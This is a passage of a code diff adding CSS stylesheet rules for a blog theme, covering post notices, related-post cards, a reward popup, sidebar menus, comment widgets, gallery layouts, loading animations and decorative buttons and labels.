#ff8080; +} +#post .post-outdate-notice:before { + position: absolute; + top: 50%; + left: 0.9em; + color: #ff8080; + content: '\f071'; + -webkit-transform: translateY(-50%); + -moz-transform: translateY(-50%); + -o-transform: translateY(-50%); + -ms-transform: translateY(-50%); + transform: translateY(-50%); +} +#post .ads-wrap { + margin: 40px 0; +} +.relatedPosts { + margin-top: 40px; +} +.relatedPosts > .headline { + margin-bottom: 5px; + font-weight: 700; + font-size: 1.43em; +} +.relatedPosts > .relatedPosts-list > div { + position: relative; + display: inline-block; + overflow: hidden; + margin: 3px; + width: calc(33.333% - 6px); + height: 200px; + background: #000; + vertical-align: bottom; +} +@media screen and (max-width: 768px) { + .relatedPosts > .relatedPosts-list > div { + margin: 2px; + width: calc(50% - 4px); + height: 150px; + } +} +@media screen and (max-width: 600px) { + .relatedPosts > .relatedPosts-list > div { + width: calc(100% - 4px); + } +} +.relatedPosts > .relatedPosts-list .content { + position: absolute; + top: 50%; + padding: 0 20px; + width: 100%; + -webkit-transform: translate(0, -50%); + -moz-transform: translate(0, -50%); + -o-transform: translate(0, -50%); + -ms-transform: translate(0, -50%); + transform: translate(0, -50%); +} +.relatedPosts > .relatedPosts-list .content .date { + color: var(--light-grey); + font-size: 90%; +} +.relatedPosts > .relatedPosts-list .content .title { + color: var(--white); + -webkit-line-clamp: 2; +} +.post-reward { + position: relative; + margin-top: 80px; + width: 100%; + text-align: center; + pointer-events: none; +} +.post-reward > * { + pointer-events: auto; +} +.post-reward .reward-button { + display: inline-block; + padding: 4px 24px; + background: var(--btn-bg); + color: var(--btn-color); + cursor: pointer; +} +.post-reward .reward-button i { + margin-right: 5px; +} +.post-reward:hover .reward-button { + background: var(--btn-hover-color); +} +.post-reward:hover > .reward-main { + display: block; +} +.post-reward .reward-main { + position: absolute; + bottom: 40px; + left: 0; + z-index: 100; + display: none; + padding: 0 0 15px; + width: 100%; +} +.post-reward .reward-main .reward-all { + display: inline-block; + margin: 0; + padding: 20px 10px; + border-radius: 4px; + background: var(--reward-pop); +} +.post-reward .reward-main .reward-all:before { + position: absolute; + bottom: -10px; + left: 0; + width: 100%; + height: 20px; + content: ''; +} +.post-reward .reward-main .reward-all:after { + position: absolute; + right: 0; + bottom: 2px; + left: 0; + margin: 0 auto; + width: 0; + height: 0; + border-top: 13px solid var(--reward-pop); + border-right: 13px solid transparent; + border-left: 13px solid transparent; + content: ''; +} +.post-reward .reward-main .reward-all .reward-item { + display: inline-block; + padding: 0 8px; + list-style-type: none; + vertical-align: top; +} +.post-reward .reward-main .reward-all .reward-item img { + width: 130px; + height: 130px; +} +.post-reward .reward-main .reward-all .reward-item .post-qr-code-desc { + width: 130px; + color: #858585; +} +#rightside { + position: fixed; + right: -48px; + bottom: 40px; + z-index: 100; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +#rightside.rightside-show { + opacity: 0.8; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=80)"; + filter: alpha(opacity=80); + -webkit-transform: translate(-58px, 0); + -moz-transform: translate(-58px, 0); + -o-transform: translate(-58px, 0); + -ms-transform: translate(-58px, 0); + transform: translate(-58px, 0); +} +#rightside #rightside-config-hide { + height: 0; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: -webkit-transform 0.4s; + -moz-transition: -moz-transform 0.4s; + -o-transition: -o-transform 0.4s; + -ms-transition: -ms-transform 0.4s; + transition: transform 0.4s; + -webkit-transform: translate(45px, 0); + -moz-transform: translate(45px, 0); + -o-transform: translate(45px, 0); + -ms-transform: translate(45px, 0); + transform: translate(45px, 0); +} +#rightside #rightside-config-hide.show { + height: auto; + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); +} +#rightside #rightside-config-hide.status { + height: auto; + opacity: 1; + -ms-filter: none; + filter: none; +} +#rightside > div > button, +#rightside > div > a { + display: block; + margin-bottom: 5px; + width: 35px; + height: 35px; + border-radius: 5px; + background-color: var(--btn-bg); + color: var(--btn-color); + text-align: center; + font-size: 16px; + line-height: 35px; +} +#rightside > div > button:hover, +#rightside > div > a:hover { + background-color: var(--btn-hover-color); +} +#rightside #mobile-toc-button { + display: none; +} +@media screen and (max-width: 900px) { + #rightside #mobile-toc-button { + display: block; + } +} +@media screen and (max-width: 900px) { + #rightside #hide-aside-btn { + display: none; + } +} +#sidebar #menu-mask { + position: fixed; + z-index: 102; + display: none; + width: 100%; + height: 100%; + background: rgba(0,0,0,0.8); +} +#sidebar #sidebar-menus { + position: fixed; + top: 0; + right: -300px; + z-index: 103; + overflow-x: hidden; + overflow-y: scroll; + padding-left: 5px; + width: 300px; + height: 100%; + background: var(--sidebar-bg); + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +#sidebar #sidebar-menus.open { + -webkit-transform: translate3d(-100%, 0, 0); + -moz-transform: translate3d(-100%, 0, 0); + -o-transform: translate3d(-100%, 0, 0); + -ms-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +#sidebar #sidebar-menus > .avatar-img { + margin: 20px auto; +} +#sidebar #sidebar-menus .sidebar-site-data { + padding: 0 10px; +} +#sidebar #sidebar-menus hr { + margin: 20px auto; +} +#sidebar #sidebar-menus .menus_items { + padding: 0 5px; +} +#sidebar #sidebar-menus .menus_items .site-page { + position: relative; + display: block; + padding: 6px 30px 6px 22px; + color: var(--font-color); + font-size: 1.15em; +} +#sidebar #sidebar-menus .menus_items .site-page:hover { + background: var(--text-bg-hover); +} +#sidebar #sidebar-menus .menus_items .site-page i:first-child { + width: 15%; + text-align: left; +} +#sidebar #sidebar-menus .menus_items .site-page.group > i:last-child { + position: absolute; + top: 0.78em; + right: 13px; + -webkit-transition: -webkit-transform 0.3s; + -moz-transition: -moz-transform 0.3s; + -o-transition: -o-transform 0.3s; + -ms-transition: -ms-transform 0.3s; + transition: transform 0.3s; +} +#sidebar #sidebar-menus .menus_items .site-page.group.hide > i:last-child { + -webkit-transform: rotate(90deg); + -moz-transform: rotate(90deg); + -o-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); +} +#sidebar #sidebar-menus .menus_items .site-page.group.hide + .menus_item_child { + display: none; +} +#sidebar #sidebar-menus .menus_items .menus_item_child { + margin: 0; + padding-left: 25px; + list-style: none; +} +#vcomment { + font-size: 1.1em; +} +#vcomment .vbtn { + border: none; + background: var(--btn-bg); + color: var(--btn-color); +} +#vcomment .vbtn:hover { + background: var(--btn-hover-color); +} +#vcomment .vimg { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +#vcomment .vimg:hover { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); +} +#vcomment .vcards .vcard .vcontent.expand:before, +#vcomment .vcards .vcard .vcontent.expand:after { + z-index: 22; +} +#waline-wrap { + --waline-font-size: 1.1em; + --waline-theme-color: #49b1f5; + --waline-active-color: #ff7242; +} +#waline-wrap .wl-comment-actions > button:not(last-child) { + padding-right: 4px; +} +.fireworks { + position: fixed; + top: 0; + left: 0; + z-index: 9999; + pointer-events: none; +} +.medium-zoom-image--opened { + z-index: 99999 !important; + margin: 0 !important; +} +.medium-zoom-overlay { + z-index: 99999 !important; +} +.mermaid-wrap { + margin: 0 0 20px; + text-align: center; +} +.mermaid-wrap > svg { + height: 100%; +} +.utterances, +.fb-comments iframe { + width: 100% !important; +} +#gitalk-container .gt-meta { + margin: 0 0 0.8em; + padding: 6px 0 16px; +} +.katex-wrap { + overflow: auto; +} +.katex-wrap::-webkit-scrollbar { + display: none; +} +mjx-container { + overflow-x: auto; + overflow-y: hidden; + padding-bottom: 4px; + max-width: 100%; +} +mjx-container[display] { + display: block !important; + min-width: auto !important; +} +mjx-container:not([display]) { + display: inline-grid !important; +} +mjx-assistive-mml { + right: 0; + bottom: 0; +} +.aplayer { + color: #4c4948; +} +#article-container .aplayer { + margin: 0 0 20px; +} +#article-container .aplayer ol, +#article-container .aplayer ul { + margin: 0; + padding: 0; +} +#article-container .aplayer ol li, +#article-container .aplayer ul li { + margin: 0; + padding: 0 15px; +} +#article-container .aplayer ol li:before, +#article-container .aplayer ul li:before { + content: none; +} +.snackbar-css { + border-radius: 5px !important; +} +.abc-music-sheet { + margin: 0 0 20px; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: opacity 0.3s; + -moz-transition: opacity 0.3s; + -o-transition: opacity 0.3s; + -ms-transition: opacity 0.3s; + transition: opacity 0.3s; +} +.abc-music-sheet.abcjs-container { + opacity: 1; + -ms-filter: none; + filter: none; +} +@media screen and (max-width: 768px) { + .fancybox__toolbar__column.is-middle { + display: none; + } +} +#article-container .btn-center { + margin: 0 0 20px; + text-align: center; +} +#article-container .btn-beautify { + display: inline-block; + margin: 0 4px 6px; + padding: 0 15px; + background-color: var(--btn-beautify-color, #777); + color: #fff; + line-height: 2; +} +#article-container .btn-beautify.blue { + --btn-beautify-color: #428bca; +} +#article-container .btn-beautify.pink { + --btn-beautify-color: #ff69b4; +} +#article-container .btn-beautify.red { + --btn-beautify-color: #f00; +} +#article-container .btn-beautify.purple { + --btn-beautify-color: #6f42c1; +} +#article-container .btn-beautify.orange { + --btn-beautify-color: #ff8c00; +} +#article-container .btn-beautify.green { + --btn-beautify-color: #5cb85c; +} +#article-container .btn-beautify:hover { + background-color: var(--btn-hover-color); +} +#article-container .btn-beautify i + span { + margin-left: 6px; +} +#article-container .btn-beautify:not(.block) + .btn-beautify:not(.block) { + margin: 0 4px 20px; +} +#article-container .btn-beautify.block { + display: block; + margin: 0 0 20px; + width: fit-content; + width: -moz-fit-content; +} +#article-container .btn-beautify.block.center { + margin: 0 auto 20px; +} +#article-container .btn-beautify.block.right { + margin: 0 0 20px auto; +} +#article-container .btn-beautify.larger { + padding: 6px 15px; +} +#article-container .btn-beautify:hover { + text-decoration: none; +} +#article-container .btn-beautify.outline { + border: 1px solid transparent; + border-color: var(--btn-beautify-color, #777); + background-color: transparent; + color: var(--btn-beautify-color, #777); +} +#article-container .btn-beautify.outline:hover { + background-color: var(--btn-beautify-color, #777); +} +#article-container .btn-beautify.outline:hover { + color: #fff !important; +} +#article-container figure.gallery-group { + position: relative; + float: left; + overflow: hidden; + margin: 6px 4px; + width: calc(50% - 8px); + height: 250px; + border-radius: 8px; + background: #000; + -webkit-transform: translate3d(0, 0, 0); +} +@media screen and (max-width: 600px) { + #article-container figure.gallery-group { + width: calc(100% - 8px); + } +} +#article-container figure.gallery-group:hover img { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate3d(0, 0, 0); + -moz-transform: translate3d(0, 0, 0); + -o-transform: translate3d(0, 0, 0); + -ms-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +#article-container figure.gallery-group:hover .gallery-group-name::after { + -webkit-transform: translate3d(0, 0, 0); + -moz-transform: translate3d(0, 0, 0); + -o-transform: translate3d(0, 0, 0); + -ms-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +#article-container figure.gallery-group:hover p { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translate3d(0, 0, 0); + -moz-transform: translate3d(0, 0, 0); + -o-transform: translate3d(0, 0, 0); + -ms-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +#article-container figure.gallery-group img { + position: relative; + margin: 0; + max-width: none; + width: calc(100% + 20px); + height: 250px; + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + -ms-backface-visibility: hidden; + backface-visibility: hidden; + opacity: 0.8; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=80)"; + filter: alpha(opacity=80); + -webkit-transition: all 0.3s, filter 375ms ease-in 0.2s; + -moz-transition: all 0.3s, filter 375ms ease-in 0.2s; + -o-transition: all 0.3s, filter 375ms ease-in 0.2s; + -ms-transition: all 0.3s, filter 375ms ease-in 0.2s; + transition: all 0.3s, filter 375ms ease-in 0.2s; + -webkit-transform: translate3d(-10px, 0, 0); + -moz-transform: translate3d(-10px, 0, 0); + -o-transform: translate3d(-10px, 0, 0); + -ms-transform: translate3d(-10px, 0, 0); + transform: translate3d(-10px, 0, 0); + object-fit: cover; +} +#article-container figure.gallery-group figcaption { + position: absolute; + top: 0; + left: 0; + padding: 30px; + width: 100%; + height: 100%; + color: #fff; + text-transform: uppercase; + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + -ms-backface-visibility: hidden; + backface-visibility: hidden; +} +#article-container figure.gallery-group figcaption > a { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1000; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); +} +#article-container figure.gallery-group p { + margin: 0; + padding: 8px 0 0; + letter-spacing: 1px; + font-size: 1.1em; + line-height: 1.5; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: opacity 0.35s, -webkit-transform 0.35s; + -moz-transition: opacity 0.35s, -moz-transform 0.35s; + -o-transition: opacity 0.35s, -o-transform 0.35s; + -ms-transition: opacity 0.35s, -ms-transform 0.35s; + transition: opacity 0.35s, transform 0.35s; + -webkit-transform: translate3d(100%, 0, 0); + -moz-transform: translate3d(100%, 0, 0); + -o-transform: translate3d(100%, 0, 0); + -ms-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + -webkit-line-clamp: 4; +} +#article-container figure.gallery-group .gallery-group-name { + position: relative; + margin: 0; + padding: 8px 0; + font-weight: bold; + font-size: 1.65em; + line-height: 1.5; + -webkit-line-clamp: 2; +} +#article-container figure.gallery-group .gallery-group-name:after { + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 2px; + background: #fff; + content: ''; + -webkit-transition: -webkit-transform 0.35s; + -moz-transition: -moz-transform 0.35s; + -o-transition: -o-transform 0.35s; + -ms-transition: -ms-transform 0.35s; + transition: transform 0.35s; + -webkit-transform: translate3d(-100%, 0, 0); + -moz-transform: translate3d(-100%, 0, 0); + -o-transform: translate3d(-100%, 0, 0); + -ms-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +#article-container .gallery-group-main { + overflow: auto; + padding: 0 0 16px; +} +#article-container .gallery-container { + margin: 0 0 16px; + text-align: center; +} +#article-container .gallery-container img { + display: initial; + margin: 0; + width: 100%; + height: 100%; +} +#article-container .gallery-container .gallery-data { + display: none; +} +#article-container .gallery-container button { + margin-top: 25px; + padding: 10px; + width: 9em; + border-radius: 5px; + background: var(--btn-bg); + color: var(--btn-color); + font-weight: bold; + font-size: 1.1em; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +#article-container .gallery-container button:hover { + background: var(--btn-hover-color); +} +#article-container .loading-container { + display: inline-block; + overflow: hidden; + width: 154px; + height: 154px; +} +#article-container .loading-container .loading-item { + position: relative; + width: 100%; + height: 100%; + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + -ms-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transform: translateZ(0) scale(1); + -moz-transform: translateZ(0) scale(1); + -o-transform: translateZ(0) scale(1); + -ms-transform: translateZ(0) scale(1); + transform: translateZ(0) scale(1); + -webkit-transform-origin: 0 0; + -moz-transform-origin: 0 0; + -o-transform-origin: 0 0; + -ms-transform-origin: 0 0; + transform-origin: 0 0; +} +#article-container .loading-container .loading-item div { + position: absolute; + width: 30.8px; + height: 30.8px; + border-radius: 50%; + background: #e15b64; + -webkit-transform: translate(61.6px, 61.6px) scale(1); + -moz-transform: translate(61.6px, 61.6px) scale(1); + -o-transform: translate(61.6px, 61.6px) scale(1); + -ms-transform: translate(61.6px, 61.6px) scale(1); + transform: translate(61.6px, 61.6px) scale(1); + -webkit-animation: loading-ball 1.92s infinite cubic-bezier(0, 0.5, 0.5, 1); + -moz-animation: loading-ball 1.92s infinite cubic-bezier(0, 0.5, 0.5, 1); + -o-animation: loading-ball 1.92s infinite cubic-bezier(0, 0.5, 0.5, 1); + -ms-animation: loading-ball 1.92s infinite cubic-bezier(0, 0.5, 0.5, 1); + animation: loading-ball 1.92s infinite cubic-bezier(0, 0.5, 0.5, 1); +} +#article-container .loading-container .loading-item div:nth-child(1) { + background: #f47e60; + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + -webkit-animation: loading-ball-r 0.48s infinite cubic-bezier(0, 0.5, 0.5, 1), loading-ball-c 1.92s infinite step-start; + -moz-animation: loading-ball-r 0.48s infinite cubic-bezier(0, 0.5, 0.5, 1), loading-ball-c 1.92s infinite step-start; + -o-animation: loading-ball-r 0.48s infinite cubic-bezier(0, 0.5, 0.5, 1), loading-ball-c 1.92s infinite step-start; + -ms-animation: loading-ball-r 0.48s infinite cubic-bezier(0, 0.5, 0.5, 1), loading-ball-c 1.92s infinite step-start; + animation: loading-ball-r 0.48s infinite cubic-bezier(0, 0.5, 0.5, 1), loading-ball-c 1.92s infinite step-start; +} +#article-container .loading-container .loading-item div:nth-child(2) { + background: #e15b64; + -webkit-animation-delay: -0.48s; + -moz-animation-delay: -0.48s; + -o-animation-delay: -0.48s; + -ms-animation-delay: -0.48s; + animation-delay: -0.48s; +} +#article-container .loading-container .loading-item div:nth-child(3) { + background: #f47e60; + -webkit-animation-delay: -0.96s; + -moz-animation-delay: -0.96s; + -o-animation-delay: -0.96s; + -ms-animation-delay: -0.96s; + animation-delay: -0.96s; +} +#article-container .loading-container .loading-item div:nth-child(4) { + background: #f8b26a; + -webkit-animation-delay: -1.44s; + -moz-animation-delay: -1.44s; + -o-animation-delay: -1.44s; + -ms-animation-delay: -1.44s; + animation-delay: -1.44s; +} +#article-container .loading-container .loading-item div:nth-child(5) { + background: #abbd81; + -webkit-animation-delay: -1.92s; + -moz-animation-delay: -1.92s; + -o-animation-delay: -1.92s; + -ms-animation-delay: -1.92s; + animation-delay: -1.92s; +} +@-moz-keyframes loading-ball { + 0% { + -webkit-transform: translate(9.24px, 61.6px) scale(0); + -moz-transform: translate(9.24px, 61.6px) scale(0); + -o-transform: translate(9.24px, 61.6px) scale(0); + -ms-transform: translate(9.24px, 61.6px) scale(0); + transform: translate(9.24px, 61.6px) scale(0); + } + 25% { + -webkit-transform: translate(9.24px, 61.6px) scale(0); + -moz-transform: translate(9.24px, 61.6px) scale(0); + -o-transform: translate(9.24px, 61.6px) scale(0); + -ms-transform: translate(9.24px, 61.6px) scale(0); + transform: translate(9.24px, 61.6px) scale(0); + } + 50% { + -webkit-transform: translate(9.24px, 61.6px) scale(1); + -moz-transform: translate(9.24px, 61.6px) scale(1); + -o-transform: translate(9.24px, 61.6px) scale(1); + -ms-transform: translate(9.24px, 61.6px) scale(1); + transform: translate(9.24px, 61.6px) scale(1); + } + 75% { + -webkit-transform: translate(61.6px, 61.6px) scale(1); + -moz-transform: translate(61.6px, 61.6px) scale(1); + -o-transform: translate(61.6px, 61.6px) scale(1); + -ms-transform: translate(61.6px, 61.6px) scale(1); + transform: translate(61.6px, 61.6px) scale(1); + } + 100% { + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + } +} +@-webkit-keyframes loading-ball { + 0% { + -webkit-transform: translate(9.24px, 61.6px) scale(0); + -moz-transform: translate(9.24px, 61.6px) scale(0); + -o-transform: translate(9.24px, 61.6px) scale(0); + -ms-transform: translate(9.24px, 61.6px) scale(0); + transform: translate(9.24px, 61.6px) scale(0); + } + 25% { + -webkit-transform: translate(9.24px, 61.6px) scale(0); + -moz-transform: translate(9.24px, 61.6px) scale(0); + -o-transform: translate(9.24px, 61.6px) scale(0); + -ms-transform: translate(9.24px, 61.6px) scale(0); + transform: translate(9.24px, 61.6px) scale(0); + } + 50% { + -webkit-transform: translate(9.24px, 61.6px) scale(1); + -moz-transform: translate(9.24px, 61.6px) scale(1); + -o-transform: translate(9.24px, 61.6px) scale(1); + -ms-transform: translate(9.24px, 61.6px) scale(1); + transform: translate(9.24px, 61.6px) scale(1); + } + 75% { + -webkit-transform: translate(61.6px, 61.6px) scale(1); + -moz-transform: translate(61.6px, 61.6px) scale(1); + -o-transform: translate(61.6px, 61.6px) scale(1); + -ms-transform: translate(61.6px, 61.6px) scale(1); + transform: translate(61.6px, 61.6px) scale(1); + } + 100% { + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + } +} +@-o-keyframes loading-ball { + 0% { + -webkit-transform: translate(9.24px, 61.6px) scale(0); + -moz-transform: translate(9.24px, 61.6px) scale(0); + -o-transform: translate(9.24px, 61.6px) scale(0); + -ms-transform: translate(9.24px, 61.6px) scale(0); + transform: translate(9.24px, 61.6px) scale(0); + } + 25% { + -webkit-transform: translate(9.24px, 61.6px) scale(0); + -moz-transform: translate(9.24px, 61.6px) scale(0); + -o-transform: translate(9.24px, 61.6px) scale(0); + -ms-transform: translate(9.24px, 61.6px) scale(0); + transform: translate(9.24px, 61.6px) scale(0); + } + 50% { + -webkit-transform: translate(9.24px, 61.6px) scale(1); + -moz-transform: translate(9.24px, 61.6px) scale(1); + -o-transform: translate(9.24px, 61.6px) scale(1); + -ms-transform: translate(9.24px, 61.6px) scale(1); + transform: translate(9.24px, 61.6px) scale(1); + } + 75% { + -webkit-transform: translate(61.6px, 61.6px) scale(1); + -moz-transform: translate(61.6px, 61.6px) scale(1); + -o-transform: translate(61.6px, 61.6px) scale(1); + -ms-transform: translate(61.6px, 61.6px) scale(1); + transform: translate(61.6px, 61.6px) scale(1); + } + 100% { + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + } +} +@keyframes loading-ball { + 0% { + -webkit-transform: translate(9.24px, 61.6px) scale(0); + -moz-transform: translate(9.24px, 61.6px) scale(0); + -o-transform: translate(9.24px, 61.6px) scale(0); + -ms-transform: translate(9.24px, 61.6px) scale(0); + transform: translate(9.24px, 61.6px) scale(0); + } + 25% { + -webkit-transform: translate(9.24px, 61.6px) scale(0); + -moz-transform: translate(9.24px, 61.6px) scale(0); + -o-transform: translate(9.24px, 61.6px) scale(0); + -ms-transform: translate(9.24px, 61.6px) scale(0); + transform: translate(9.24px, 61.6px) scale(0); + } + 50% { + -webkit-transform: translate(9.24px, 61.6px) scale(1); + -moz-transform: translate(9.24px, 61.6px) scale(1); + -o-transform: translate(9.24px, 61.6px) scale(1); + -ms-transform: translate(9.24px, 61.6px) scale(1); + transform: translate(9.24px, 61.6px) scale(1); + } + 75% { + -webkit-transform: translate(61.6px, 61.6px) scale(1); + -moz-transform: translate(61.6px, 61.6px) scale(1); + -o-transform: translate(61.6px, 61.6px) scale(1); + -ms-transform: translate(61.6px, 61.6px) scale(1); + transform: translate(61.6px, 61.6px) scale(1); + } + 100% { + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + } +} +@-moz-keyframes loading-ball-r { + 0% { + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + } + 100% { + -webkit-transform: translate(113.96px, 61.6px) scale(0); + -moz-transform: translate(113.96px, 61.6px) scale(0); + -o-transform: translate(113.96px, 61.6px) scale(0); + -ms-transform: translate(113.96px, 61.6px) scale(0); + transform: translate(113.96px, 61.6px) scale(0); + } +} +@-webkit-keyframes loading-ball-r { + 0% { + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + } + 100% { + -webkit-transform: translate(113.96px, 61.6px) scale(0); + -moz-transform: translate(113.96px, 61.6px) scale(0); + -o-transform: translate(113.96px, 61.6px) scale(0); + -ms-transform: translate(113.96px, 61.6px) scale(0); + transform: translate(113.96px, 61.6px) scale(0); + } +} +@-o-keyframes loading-ball-r { + 0% { + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + } + 100% { + -webkit-transform: translate(113.96px, 61.6px) scale(0); + -moz-transform: translate(113.96px, 61.6px) scale(0); + -o-transform: translate(113.96px, 61.6px) scale(0); + -ms-transform: translate(113.96px, 61.6px) scale(0); + transform: translate(113.96px, 61.6px) scale(0); + } +} +@keyframes loading-ball-r { + 0% { + -webkit-transform: translate(113.96px, 61.6px) scale(1); + -moz-transform: translate(113.96px, 61.6px) scale(1); + -o-transform: translate(113.96px, 61.6px) scale(1); + -ms-transform: translate(113.96px, 61.6px) scale(1); + transform: translate(113.96px, 61.6px) scale(1); + } + 100% { + -webkit-transform: translate(113.96px, 61.6px) scale(0); + -moz-transform: translate(113.96px, 61.6px) scale(0); + -o-transform: translate(113.96px, 61.6px) scale(0); + -ms-transform: translate(113.96px, 61.6px) scale(0); + transform: translate(113.96px, 61.6px) scale(0); + } +} +@-moz-keyframes loading-ball-c { + 0% { + background: #e15b64; + } + 25% { + background: #abbd81; + } + 50% { + background: #f8b26a; + } + 75% { + background: #f47e60; + } + 100% { + background: #e15b64; + } +} +@-webkit-keyframes loading-ball-c { + 0% { + background: #e15b64; + } + 25% { + background: #abbd81; + } + 50% { + background: #f8b26a; + } + 75% { + background: #f47e60; + } + 100% { + background: #e15b64; + } +} +@-o-keyframes loading-ball-c { + 0% { + background: #e15b64; + } + 25% { + background: #abbd81; + } + 50% { + background: #f8b26a; + } + 75% { + background: #f47e60; + } + 100% { + background: #e15b64; + } +} +@keyframes loading-ball-c { + 0% { + background: #e15b64; + } + 25% { + background: #abbd81; + } + 50% { + background: #f8b26a; + } + 75% { + background: #f47e60; + } + 100% { + background: #e15b64; + } +} +blockquote.pullquote { + position: relative; + max-width: 45%; + font-size: 110%; +} +blockquote.pullquote.left { + float: left; + margin: 1em 0.5em 0 0; +} +blockquote.pullquote.right { + float: right; + margin: 1em 0 0 0.5em; +} +.video-container { + position: relative; + overflow: hidden; + margin-bottom: 16px; + padding-top: 56.25%; + height: 0; +} +.video-container iframe { + position: absolute; + top: 0; + left: 0; + margin-top: 0; + width: 100%; + height: 100%; +} +.hide-inline > .hide-button, +.hide-block > .hide-button { + display: inline-block; + padding: 5px 18px; + background: #49b1f5; + color: var(--white); +} +.hide-inline > .hide-button:hover, +.hide-block > .hide-button:hover { + background-color: var(--btn-hover-color); +} +.hide-inline > .hide-button.open, +.hide-block > .hide-button.open { + display: none; +} +.hide-inline > .hide-button.open + div, +.hide-block > .hide-button.open + div { + display: block; +} +.hide-inline > .hide-button.open + span, +.hide-block > .hide-button.open + span { + display: inline; +} +.hide-inline > .hide-content, +.hide-block > .hide-content { + display: none; +} +.hide-inline > .hide-button { + margin: 0 6px; +} +.hide-inline > .hide-content { + margin: 0 6px; +} +.hide-block { + margin: 0 0 16px; +} +.toggle { + margin-bottom: 20px; + border: 1px solid #f0f0f0; +} +.toggle > .toggle-button { + padding: 6px 15px; + background: #f0f0f0; + color: #1f2d3d; + cursor: pointer; +} +.toggle > .toggle-content { + margin: 30px 24px; +} +#article-container .inline-img { + display: inline; + margin: 0 3px; + height: 1.1em; + vertical-align: text-bottom; +} +.hl-label { + padding: 2px 4px; + border-radius: 3px; + color: #fff; +} +.hl-label.default { + background-color: #777; +} +.hl-label.blue { + background-color: #428bca; +} +.hl-label.pink { + background-color: #ff69b4; +} +.hl-label.red { + background-color: #f00; +} +.hl-label.purple { + background-color: #6f42c1; +} +.hl-label.orange { + background-color: #ff8c00; +} +.hl-label.green { + background-color: #5cb85c; +} +.note { + position: relative; + margin: 0 0 20px; + padding: 15px; + border-radius: 3px; +} +.note.icon-padding { + padding-left: 3em; +} +.note > .note-icon { + position: absolute; + top: calc(50% - 0.5em); + left: 